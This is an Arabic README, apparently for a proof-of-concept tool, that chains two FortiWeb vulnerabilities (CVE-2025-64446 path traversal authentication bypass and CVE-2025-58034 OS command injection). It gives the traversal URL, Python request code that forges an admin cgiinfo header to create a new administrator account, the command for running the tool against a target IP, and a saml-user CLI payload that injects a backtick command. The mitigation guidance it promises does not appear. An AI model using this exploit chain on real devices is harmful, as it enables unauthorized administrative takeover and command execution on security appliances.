
استغلال PoC لـ FortiWeb CVE-2025-64446 (تجاوز المصادقة عبر اجتياز المسار) وCVE-2025-58034 (حقن أوامر نظام التشغيل) مع تحليل مفصل وإرشادات التخفيف.
FortiWeb هو جهاز جدار حماية تطبيقات الويب (WAF) يُستخدم لحماية تطبيقات الويب.
في عام 2025، تم اكتشاف ثغرتين خطيرتين:
| الحقل | المحتوى |
|---|---|
| نوع الثغرة | Relative Path Traversal Authentication Bypass |
| السبب | يعالج FortiWeb المسارات بشكل غير صارم قبل المصادقة: - التحكم في الوصول يعتمد على سلسلة المسار المنطقي - عدم تطبيع المسار بشكل كامل - السماح باستخدام ../ للوصول إلى الموارد الداخلية |
| الوصف | يمكن الوصول إلى بعض نقاط نهاية الإدارة (endpoints) دون مصادقة صالحة |
| الأثر | - تجاوز المصادقة بالكامل - وصول غير مصرح به إلى وظائف الإدارة - كسر نموذج الصلاحيات |
| الإصدارات المتأثرة | - 8.0.0 – 8.0.1 - 7.6.0 – 7.6.4 - 7.4.0 – 7.4.9 - 7.2.0 – 7.2.11 - 7.0.0 – 7.0.11 |
مثال:
/api/v2.0/cmdb/system/../../../../../../cgi-bin/fwbcgi
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
يساعد ذلك في تجنب تعارض إصدارات المكتبات، ويضمن استقرار بيئة العمل، ويحد من التأثير على النظام
الحمولة
cgiinfo_json = {
"username": "admin",
"profname": "prof_admin",
"vdom": "root",
"loginname": "admin"
}
cgiinfo_b64 = base64.b64encode(json.dumps(cgiinfo_json).encode()).decode()
conn.request("POST", "/api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi", body=body_data, headers=headers)
resp = conn.getresponse()
result = {
'target': f"{host}:{port}",
'status': resp.status,
'user': username,
'password': password,
'success': resp.status == 200
}
شغّل الأداة باستخدام Python3:
python3 exploit.py <IP_target>
<IP_target>: عنوان IP هنا هو اسم مضيف جهاز FortiWeb.
تم الحصول على اسم المستخدم وكلمة المرور -> قم بتسجيل الدخول
تم الاستغلال بنجاح وإنشاء حساب جديد بصلاحيات admin.
بعد تسجيل الدخول بنجاح باستخدام حساب الإدارة المُنشأ حديثًا، يمكن للمهاجم استغلال ثغرة حقن الأوامر المُصادَق عليها عبر طلبات مُصنَّعة خصيصًا أو مباشرة عبر واجهة سطر أوامر FortiWeb CLI:
config user saml-user
edit "`id`" ## nhập lệnh tại đây
set entityID http://foo
set service-path /foo
set enforce-signing disable
set slo-bind post
set slo-path /foo
set sso-bind post
set sso-path /foo
end
سيقوم FortiWeb بالخروج من سلسلة الإعدادات وتنفيذ الأمر id أثناء عملية إعداد saml-user.
| الحقل | المحتوى |
|---|
| نوع الثغرة | OS Command Injection (CWE-78) |
| السبب | يعالج FortiWeb الإدخال (input) بشكل غير آمن عند تنفيذ أوامر نظام التشغيل: - عدم التحقق من صحة الإدخال - عدم escape الأحرف الخاصة - تمرير بيانات المستخدم مباشرة إلى أوامر النظام |
| الوصف | تتطلب الثغرة مصادقة ولكنها تسمح بحقن أوامر النظام |
| الأثر | - تنفيذ أوامر غير مقصودة - الوصول إلى موارد النظام - التأثير على السلامة والتوافر |
| الإصدارات المتأثرة | - 8.0.0 – 8.0.1 - 7.6.0 – 7.6.5 - 7.4.0 – 7.4.10 - 7.2.0 – 7.2.11 - 7.0.0 – 7.0.11 |